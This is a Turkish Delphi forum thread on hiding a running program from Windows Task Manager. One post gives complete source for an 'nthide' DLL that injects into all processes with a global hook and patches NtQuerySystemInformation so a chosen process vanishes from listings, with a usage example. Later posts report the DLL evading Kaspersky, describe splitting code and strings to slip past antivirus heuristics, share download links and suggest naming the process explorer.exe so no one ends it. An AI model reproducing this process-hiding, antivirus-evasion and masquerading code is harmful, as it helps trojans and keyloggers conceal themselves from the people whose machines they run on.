Programı görev yöneticisinden saklamak..

Delphi'de kod yazma ile ilgili sorularınızı bu foruma yazabilirsiniz.
Kullanıcı avatarı
ovural
Üye
Mesajlar: 167
Kayıt: 22 Eki 2003 10:20
İletişim:

Mesaj gönderen ovural »

bu kodu adım adım nasıl kullandıgını yazarmısın ?


kernel32.dll in icinde RegisterServiceProcess functionunu bulamıyor ... cunku Win9x te gecerli bi kod ..


nt tabanlılarda denedin mi ?
Kim ilim öğrenir sonra da onu gizlerse âhirette onun ağzına ateşten bir gem vurulur. (Hadis-i Şerif)
Kullanıcı avatarı
ovural
Üye
Mesajlar: 167
Kayıt: 22 Eki 2003 10:20
İletişim:

Mesaj gönderen ovural »

notname yazdı:evet delphide bu yapılabiliyor "nthide.dll" bunu bir google'da arastırın dll kullanarak gizleyebilirsiniz. ayrıca şu an yeni çıkan trojanlar ,keylooger türü programlar ctrl+alt+del de gözükmüyo...
google dan arattıktan sonra rus forumların birisinde aşağıdaki kodları buldum ve bizzat denedim test ettim :D .. işe yarıyor ..


aşağıdaki kodu nthide.dll olarak oluşturun

Kod: Tümünü seç

library nthide;
uses
  Windows,
  SysUtils,
  ImageHlp,
  TlHelp32;

type SYSTEM_INFORMATION_CLASS = (
 SystemBasicInformation,
 SystemProcessorInformation,
 SystemPerformanceInformation,
 SystemTimeOfDayInformation,
 SystemNotImplemented1,
 SystemProcessesAndThreadsInformation,
 SystemCallCounts,
 SystemConfigurationInformation,
 SystemProcessorTimes,
 SystemGlobalFlag,
 SystemNotImplemented2,
 SystemModuleInformation,
 SystemLockInformation,
 SystemNotImplemented3,
 SystemNotImplemented4,
 SystemNotImplemented5,
 SystemHandleInformation,
 SystemObjectInformation,
 SystemPagefileInformation,
 SystemInstructionEmulationCounts,
 SystemInvalidInfoClass1,
 SystemCacheInformation,
 SystemPoolTagInformation,
 SystemProcessorStatistics,
 SystemDpcInformation,
 SystemNotImplemented6,
 SystemLoadImage,
 SystemUnloadImage,
 SystemTimeAdjustment,
 SystemNotImplemented7,
 SystemNotImplemented8,
 SystemNotImplemented9,
 SystemCrashDumpInformation,
 SystemExceptionInformation,
 SystemCrashDumpStateInformation,
 SystemKernelDebuggerInformation,
 SystemContextSwitchInformation,
 SystemRegistryQuotaInformation,
 SystemLoadAndCallImage,
 SystemPrioritySeparation,
 SystemNotImplemented10,
 SystemNotImplemented11,
 SystemInvalidInfoClass2,
 SystemInvalidInfoClass3,
 SystemTimeZoneInformation,
 SystemLookasideInformation,
 SystemSetTimeSlipEvent,
 SystemCreateSession,
 SystemDeleteSession,
 SystemInvalidInfoClass4,
 SystemRangeStartInformation,
 SystemVerifierInformation,
 SystemAddVerifier,
 SystemSessionProcessesInformation
);
_IMAGE_IMPORT_DESCRIPTOR = packed record
  case Integer of
   0:(
    Characteristics: DWORD);
   1:(
    OriginalFirstThunk:DWORD;
    TimeDateStamp:DWORD;
    ForwarderChain: DWORD;
    Name: DWORD;
    FirstThunk: DWORD);
   end;
IMAGE_IMPORT_DESCRIPTOR = _IMAGE_IMPORT_DESCRIPTOR;
PIMAGE_IMPORT_DESCRIPTOR = ^IMAGE_IMPORT_DESCRIPTOR;
PFARPROC = ^FARPROC;
procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar; pfnCurrent: FarProc; pfnNew: FARPROC; hmodCaller: hModule);
var
      ulSize: ULONG;
 pImportDesc: PIMAGE_IMPORT_DESCRIPTOR;
  pszModName: PChar;
      pThunk: PDWORD; ppfn:PFARPROC;
      fFound: LongBool;
     Written: DWORD;
begin
 pImportDesc:= ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize);
  if pImportDesc = nil then Exit;
  while pImportDesc.Name <> 0 do
   begin
    pszModName := PChar(hmodCaller + pImportDesc.Name);
     if (lstrcmpiA(pszModName, pszCallerModName) = 0) then break;
    Inc(pImportDesc);
   end;
  if (pImportDesc.Name = 0) then Exit;
 pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk);
  while pThunk^ <> 0 do
   begin
    ppfn := PFARPROC(pThunk);
    fFound := (ppfn^ = pfnCurrent);
     if (fFound) then
      begin
       VirtualProtectEx(GetCurrentProcess, ppfn, 4, PAGE_EXECUTE_READWRITE, Written);
       WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew), Written);
       Exit;
      end;
    Inc(pThunk);
   end;
end;
var
 addr_NtQuerySystemInformation: Pointer;
 mypid: DWORD;
 fname: PCHAR;
 mapaddr: PDWORD;
 hideOnlyTaskMan: PBOOL;
function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: Pointer;
 SystemInformationLength:ULONG; ReturnLength:PULONG):LongInt; stdcall;
label onceagain, getnextpidstruct, quit, fillzero;
asm
 push ReturnLength
 push SystemInformationLength
 push SystemInformation
 push dword ptr SystemInformationClass
 call dword ptr [addr_NtQuerySystemInformation]
 or eax,eax
 jl quit
 cmp SystemInformationClass, SystemProcessesAndThreadsInformation
 jne quit
 onceagain:
 mov esi, SystemInformation
 getnextpidstruct:
 mov ebx, esi
 cmp dword ptr [esi],0
 je quit
 add esi, [esi]
 mov ecx, [esi+44h]
 cmp ecx, mypid
 jne getnextpidstruct
 mov edx, [esi]
 test edx, edx
 je fillzero
 add [ebx], edx
 jmp onceagain
 fillzero:
 and [ebx], edx
 jmp onceagain
 quit:
 mov Result, eax
end;
procedure InterceptFunctions;
var
 hSnapShot: THandle;
      me32: MODULEENTRY32;
begin
 addr_NtQuerySystemInformation := GetProcAddress(getModuleHandle('ntdll.dll'),'NtQuerySystemInformation');
 hSnapShot := CreateToolHelp32SnapShot(TH32CS_SNAPMODULE, GetCurrentProcessId);
  if hSnapshot = INVALID_HANDLE_VALUE then Exit;
   try
    ZeroMemory(@me32, sizeof(MODULEENTRY32));
    me32.dwSize := sizeof(MODULEENTRY32);
    Module32First(hSnapShot, me32);
     repeat
      ReplaceIATEntryInOneMod('ntdll.dll', addr_NtQuerySystemInformation, @MyNtQuerySystemInfo, me32.hModule);
     until not Module32Next(hSnapShot, me32);
   finally
    CloseHandle(hSnapShot);
   end;
end;
procedure UninterceptFunctions;
var
 hSnapShot: THandle;
      me32: MODULEENTRY32;
begin
 addr_NtQuerySystemInformation := GetProcAddress(getModuleHandle('ntdll.dll'), 'NtQuerySystemInformation');
 hSnapShot := CreateToolHelp32SnapShot(TH32CS_SNAPMODULE, GetCurrentProcessId);
  if hSnapshot = INVALID_HANDLE_VALUE then Exit;
  try
   ZeroMemory(@me32, sizeof(MODULEENTRY32));
   me32.dwSize := sizeof(MODULEENTRY32);
   Module32First(hSnapShot, me32);
    repeat
     ReplaceIATEntryInOneMod('ntdll.dll', @MyNtQuerySystemInfo, addr_NtQuerySystemInformation, me32.hModule);
    until not Module32Next(hSnapShot, me32);
  finally
   CloseHandle(hSnapShot);
  end;
end;
var HookHandle: THandle;
function CbtProc(code: integer; wparam: integer; lparam: integer):Integer; stdcall;
begin
 Result := 0;
end;
procedure InstallHook; stdcall;
begin
 HookHandle := SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0);
end;
var
 hFirstMapHandle:THandle;

function HideProcess(pid:DWORD; HideOnlyFromTaskManager:BOOL):BOOL; stdcall;
var
 addrMap: PDWORD;
    ptr2: PBOOL;
begin
 mypid := 0;
 result := False;
 hFirstMapHandle := CreateFileMapping($FFFFFFFF, nil, PAGE_READWRITE, 0, 8,'NtHideFileMapping');
  if hFirstMapHandle = 0 then Exit;
 addrMap := MapViewOfFile(hFirstMapHandle, FILE_MAP_WRITE, 0, 0, 8);
  if addrMap = nil then
   begin
    CloseHandle(hFirstMapHandle);
    Exit;
   end;
 addrMap^ := pid;
 ptr2  := PBOOL(DWORD(addrMap) + 4);
 ptr2^ := HideOnlyFromTaskManager;
 UnmapViewOfFile(addrMap);
 InstallHook;
 result := True;
end;
exports
 HideProcess;

var
 hmap: THandle;
procedure LibraryProc(Reason: Integer);
begin
 if Reason = DLL_PROCESS_DETACH then
  if mypid > 0 then
   UninterceptFunctions()
 else
  CloseHandle(hFirstMapHandle);
end;
begin
 hmap := OpenFileMapping(FILE_MAP_READ, False, 'NtHideFileMapping');
  if hmap = 0 then Exit;
  try
   mapaddr := MapViewOfFile(hmap, FILE_MAP_READ, 0, 0, 0);
    if mapaddr = nil then Exit;
   mypid := mapaddr^;
   hideOnlyTaskMan := PBOOL(DWORD(mapaddr) + 4);
    if hideOnlyTaskMan^ then
     begin
      fname := allocMem(MAX_PATH + 1);
      GetModuleFileName(GetModuleHandle(nil), fname, MAX_PATH + 1);
       if not (ExtractFileName(fname) = 'taskmgr.exe') then Exit;
     end;
   InterceptFunctions;
  finally
   UnmapViewOfFile(mapaddr);
   CloseHandle(Hmap);
   DLLProc := @LibraryProc;
  end;
end.

aşağıdada kullanım icin örnek kod var ...

Kod: Tümünü seç

function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall;
      external 'nthide.dll';

procedure TForm1.Button1Click(Sender: TObject);
begin
  HideProcess(GetCurrentProcessId, False);
end;

Kim ilim öğrenir sonra da onu gizlerse âhirette onun ağzına ateşten bir gem vurulur. (Hadis-i Şerif)
ng
Üye
Mesajlar: 192
Kayıt: 01 Mar 2004 11:49
Konum: Bursa
İletişim:

Mesaj gönderen ng »

Bu kodda yapılan işlemleri açıklayabilecek var mı?
cozturk
Üye
Mesajlar: 484
Kayıt: 15 Haz 2005 05:22

Mesaj gönderen cozturk »

Resim
ng
Üye
Mesajlar: 192
Kayıt: 01 Mar 2004 11:49
Konum: Bursa
İletişim:

Mesaj gönderen ng »

ilginç ben kaynak koddan derleyip çalıştırdım .Kasperksky herhangi bir hata vermedi.
Kullanıcı avatarı
Murat DİCLE
Kıdemli Üye
Mesajlar: 702
Kayıt: 19 Nis 2006 04:12
Konum: İstanbul
İletişim:

Mesaj gönderen Murat DİCLE »

Son yazılan kodu ben vaktiyle JustFilter için koymuştum. Ama bir çok Herustic tarama yapan anti-virüs vb. programlar engelliyordu programımı. Sonra kodların yerlerini değiştirdim, bölüp parçaladım, isim değişikliği, string yapıları böldüm vs. işlemler ile NOD32 ve Kaspersky gibi programları atlattım.

Ancak sonra, programı gizlememin gereksiz olduğuna karar verdim. Önemli olan programın başkaları tarafından kapatılmaması idi. Bende daha yasal bir yöntem ile (HOOK) programın kapatılmasını engelledim. Görev yöneticisinde program görünüyor ama kapatılamıyordu. Zaten görev yöneticisindeki bazı Windows uygulamalarıda kapatılmasını engeliyor.

Sanki, programı gizlemeye çalışınca, kötü bir izlenim bırakacakmışım gibi bir his doğdu. Ama bir SERVICE uygulaması yapılırsa bir sorun olmayacaktır, ahlaki açıdan.
cozturk
Üye
Mesajlar: 484
Kayıt: 15 Haz 2005 05:22

Mesaj gönderen cozturk »

Servis uygulamasını kapatabiliyoruz.

fakat senin dediğin başka birşey her halde. Antivirüs vs kapatılamıyor.

Ufak bir örnek varsa alabilirmiyiz. normal servis uygulaması yaptım. bu şekilde çalışmıyor. sonlanabiliyor.
Kullanıcı avatarı
mrmarman
Üye
Mesajlar: 4741
Kayıt: 09 Ara 2003 08:13
Konum: İstanbul
İletişim:

Mesaj gönderen mrmarman »

@cozturk

- Merak edip DLL'yi denedim. Kaspersky kesinlikle bulamadı. Ayarlarını tüm seçeneklerin dikkate alınması şeklinde aktifleştirdim. Ayıp demesi oha diyecek kadar da sıkılaştı, şöyle ki boş bir delphi projesi açtım ve hiçbir şey yazmadan RUN dedim... aşağıdaki uyarı geldi...

Resim :lol:

- İşte aynı bu ortamda DLL'yi scan ettirdim (hem de en heuristic proactive olanından) virus yok dedi.

- Çalıştırınca ise şunu verdi.

Resim

- Button1'e basınca da aynı mesajı aldım. Ayarlarını tekrar Basic Protection' dönüştürdüm bu sefer hiçbirini vermedi. Yani anlayacağınız Kaspersky bu kodu anlayamadı diyebilirim. :idea:

- Bendeki derlenmiş DLL, derlenmiş örnek ve kaynak kodları ise şunlar. Siz de deneyin farkı anlayalım.

Kaynak kod, Derlenmiş DLL ve SAMPLE dizini altında aynı DLL bulundurulumuş örnek kod için Rapid Linki
Resim
Resim ....Resim
Kullanıcı avatarı
mrmarman
Üye
Mesajlar: 4741
Kayıt: 09 Ara 2003 08:13
Konum: İstanbul
İletişim:

Mesaj gönderen mrmarman »

Arkadaşlar biraz önce @aveysel önemli bir eleştiri aldım. Sadece benzer fikri olanlar için cevap hakkımı kullanmak istiyorum.

Ref : viewtopic.php?p=106570#106571
@aveysel yazdı:MrMarman tanışmıyoruz ama samimiyetine sığınarak birşey söylemek istiyorum biraz önce aşağıdaki linkde programı taskbar dan gizleme ile ilgili kaynak kodlarıyla birlikte yazı yazmışsın, ama yukarıda kötü amaçlı kullanılır diye bilgi vermek istemiyorsun

viewtopic.php?t=8036&start=15

Bilgi senin ister paylaşırsın ister paylaşmazsın ama bu bahane bana kötü geliyor..

Belki size abes gelecek ama okuldayken bitirme projem Trojan yapmaktı eğer bana bu konu hakkında kimse yardım etmeseydi sınıfta kalabilirdim,
@mrmarman buna cevap olarak da yazdı:- Arkadaşlar ifşa olmuş bilgiden geri dönüş olmaz.. :idea:

- Tekrar salim bir gözle bakarsanız, burada yeni birşey yazmayıp olanı yorumladım. Tutarlılık esastır :lol:
Resim
Resim ....Resim
cozturk
Üye
Mesajlar: 484
Kayıt: 15 Haz 2005 05:22

Mesaj gönderen cozturk »

çok ilginç durum. sizin DLL de birşey bulunamadı.

Hiç bir değişiklik yapmadan projeyi derleyip aynı dll i yeniden oluşturunca uyarı geldi.

Delphi7 SE kullanıldı.
Kullanıcı avatarı
mrmarman
Üye
Mesajlar: 4741
Kayıt: 09 Ara 2003 08:13
Konum: İstanbul
İletişim:

Mesaj gönderen mrmarman »

- Derlenmiş iki DLL'yi content bazında (bire bir boyut ve içerik) karşılaştırma yapabilir misin. Total Commander var bende o bu işi çok güzel yapıyor. Sende de varsa bir dene istersen, içerik farkı çok mu az mı nereye kadar.
Resim
Resim ....Resim
cozturk
Üye
Mesajlar: 484
Kayıt: 15 Haz 2005 05:22

Mesaj gönderen cozturk »

Benim derlediğim dll:
http://www.filearsivi.com/download.php? ... 877977c9fe

karşılaştırma yapardım ama hemen KAV uyarısı çıkıp silmek istiyor. Disable etmek de istemiyorum
Kullanıcı avatarı
mrmarman
Üye
Mesajlar: 4741
Kayıt: 09 Ara 2003 08:13
Konum: İstanbul
İletişim:

Mesaj gönderen mrmarman »

- Boyutlar aynı ama içerik değişik oluşturulmuş.. PeCompact ile sıkıştırdım yine virus var dedi. Bendekine açık halde olduğu gibi sıkıştırılmış halinde de virus yok dedi.

Resim

- Compiler ise Delphi 7 Enterprise Build 8.1

- Neyse böyle alternatif durumlar olduğunu bilmek de önemli... :oops:
Resim
Resim ....Resim
Kullanıcı avatarı
ovural
Üye
Mesajlar: 167
Kayıt: 22 Eki 2003 10:20
İletişim:

Mesaj gönderen ovural »

Murat DİCLE yazdı:Son yazılan kodu ben vaktiyle JustFilter için koymuştum. Ama bir çok Herustic tarama yapan anti-virüs vb. programlar engelliyordu programımı. Sonra kodların yerlerini değiştirdim, bölüp parçaladım, isim değişikliği, string yapıları böldüm vs. işlemler ile NOD32 ve Kaspersky gibi programları atlattım.

Ancak sonra, programı gizlememin gereksiz olduğuna karar verdim. Önemli olan programın başkaları tarafından kapatılmaması idi. Bende daha yasal bir yöntem ile (HOOK) programın kapatılmasını engelledim. Görev yöneticisinde program görünüyor ama kapatılamıyordu. Zaten görev yöneticisindeki bazı Windows uygulamalarıda kapatılmasını engeliyor.

Sanki, programı gizlemeye çalışınca, kötü bir izlenim bırakacakmışım gibi bir his doğdu. Ama bir SERVICE uygulaması yapılırsa bir sorun olmayacaktır, ahlaki açıdan.

programın sonlandırılmaması gibi bi işlemi nasıl yapıyorsun .. cunku farklı programlarla yada taskkill ile bir sekilde force olarak sonlandırılıyor ..
Kim ilim öğrenir sonra da onu gizlerse âhirette onun ağzına ateşten bir gem vurulur. (Hadis-i Şerif)
lodos
Üye
Mesajlar: 28
Kayıt: 29 Ara 2006 10:32

Mesaj gönderen lodos »

beyler ben bu konudan sunu anladım anti virusler kod biçimine önem veriyor amacına değil yanı bende bunun gibi bişi denemiştim buton 1 e basıldıgında ki buton 1 de hook işlemi baslatıyor nod32 virus dedi fakat buton 2 ye alııp aynı kodu 1-2 farklı satır yazınca hiç bir sekilde virus bulmuyo yani burda anti virusler 1.ci planına bakıyor örn şöle bir sey yapabiliriz arkadas için

taskbarda dosya adnı expoler.exe yada IEXPLORE.exe yaparsa kimse sonlandırmak istemez :)
Cevapla